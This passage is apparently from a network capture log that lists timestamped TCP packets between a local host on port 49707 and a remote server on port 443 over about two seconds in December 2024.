Dec 13, 2024 08:34:51.744726896 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:51.744734049 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:51.744760990 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:51.744779110 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:51.750669956 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:51.750685930 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:51.750765085 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:51.750796080 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:51.750843048 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:51.756452084 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:51.756467104 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:51.756537914 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:51.756545067 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:51.756586075 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:51.761446953 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:51.761461020 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:51.761502981 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:51.761509895 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:51.761537075 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:51.761558056 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:51.767882109 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:51.767898083 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:51.767965078 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:51.767971039 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:51.767998934 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:51.768016100 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:51.773113012 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:51.773128033 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:51.773206949 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:51.773221970 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:51.773267984 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:51.834151030 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:51.847096920 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:51.847120047 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:51.847255945 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:51.847275019 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:51.847322941 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:51.929944038 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:51.929970026 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:51.930195093 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:51.930233955 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:51.934210062 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:51.935632944 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:51.935647964 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:51.935720921 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:51.935735941 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:51.935798883 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:51.940869093 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:51.940913916 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:51.940973997 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:51.940988064 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:51.941018105 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:51.941039085 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:51.946542978 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:51.946585894 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:51.946626902 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:51.946640015 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:51.946666956 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:51.946687937 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:51.952444077 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:51.952510118 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:51.952549934 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:51.952562094 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:51.952590942 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:51.952608109 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:51.957814932 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:51.957875967 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:51.957897902 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:51.957911968 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:51.957942009 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:51.957959890 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:51.963260889 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:51.963562012 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:51.963610888 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:51.963655949 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:51.963669062 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:51.963696957 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:51.963726044 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.037847996 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.037919044 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.038031101 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.038106918 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.038151026 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.038172960 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.108752012 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.121891975 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.121931076 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.122140884 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.122175932 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.122243881 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.127568960 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.127594948 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.127661943 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.127679110 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.127768993 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.133656979 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.133685112 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.133779049 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.133793116 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.133862972 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.138639927 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.138665915 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.138740063 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.138755083 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.138786077 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.138811111 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.144157887 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.144188881 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.144301891 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.144318104 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.144378901 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.149663925 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.149692059 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.149766922 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.149780989 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.149841070 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.152128935 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.155309916 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.155344009 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.155447960 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.155469894 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.155531883 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.229960918 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.229989052 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.230122089 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.230190992 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.230282068 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.259808064 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.314215899 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.314256907 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.314322948 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.314368963 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.314404011 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.314438105 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.574439049 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.574466944 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.574711084 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.574783087 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.574887991 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.575109005 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.575124979 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.575196028 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.575212002 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.575320959 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.576092005 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.576107025 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.576203108 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.576217890 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.576296091 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.577111006 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.577128887 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.577189922 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.577203035 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.577281952 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.578043938 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.578061104 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.578125954 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.578139067 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.578198910 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.579709053 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.579725981 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.579794884 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.579809904 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.579876900 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.580866098 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.580883026 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.580943108 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.580956936 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.581023932 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.581831932 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.581851006 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.581907034 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.581919909 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.581981897 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.582854033 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.582861900 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.582940102 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.582952976 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.583014965 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.583787918 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.583805084 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.583868980 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.583883047 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.583945036 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.584836006 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.584851980 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.584912062 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.584924936 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.584999084 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.585855007 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.585872889 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.585936069 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.585948944 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.586004019 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.586848021 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.586867094 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.586936951 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.586950064 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.587007046 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.587781906 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.587801933 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.587868929 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.587882996 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.587946892 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.589242935 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.614495039 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.614522934 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.614631891 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.614646912 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.614945889 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.699435949 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.699462891 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.699573040 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.699660063 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.699753046 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.705004930 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.705029964 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.705091000 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.705147982 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.706448078 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.710000992 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.710024118 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.710112095 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.710124016 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.710184097 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.715986013 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.716006041 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.716073990 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.716098070 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.716164112 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.721440077 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.721493959 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.721534014 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.721579075 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.721618891 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.721659899 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.726640940 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.726686001 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.726732969 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.726772070 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.726804972 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.730174065 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.732223034 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.732270002 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.732331038 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.732347012 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.732398987 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.732419968 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.806803942 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.806843996 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.806945086 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.807024956 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.807089090 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.831648111 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.902095079 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.902122974 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.902196884 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.902268887 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.902306080 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.902332067 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.907579899 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.907598972 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.907660007 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.907676935 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.907706022 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.907732010 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.913264036 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.913291931 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.913338900 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.913376093 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.913407087 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.913425922 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.918251038 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.918276072 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.918339014 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.918355942 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.918384075 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.918402910 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.923505068 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.923527002 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.923585892 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.923600912 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.923655033 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.923674107 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.929224968 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.929250956 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.929305077 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.929320097 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.929358006 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.929382086 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.958689928 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.994898081 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.994934082 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.995122910 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.995122910 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:52.995170116 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:52.995224953 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:53.038906097 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:53.090749979 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:53.090781927 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:53.090862989 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:53.090900898 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:53.090934038 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:53.090955973 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:53.095110893 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:53.095140934 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:53.095257044 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:53.095294952 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:53.095349073 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:53.100680113 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:53.100706100 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:53.100759029 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:53.100783110 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:53.100812912 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:53.100856066 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:53.106343985 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:53.106369019 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:53.106440067 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:53.106456041 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:53.106503963 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:53.111375093 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:53.111402988 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:53.111466885 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:53.111479998 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:53.111524105 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:53.112371922 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:53.117429972 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:53.117459059 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:53.117520094 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:53.117532015 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:53.117582083 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:53.122308016 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:53.122334003 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:53.122395039 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:53.122406960 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:53.122452974 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:53.133889914 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:53.187037945 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:53.187072039 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:53.187175035 CET	49707	443	192.168.2.5	185.199.111.133
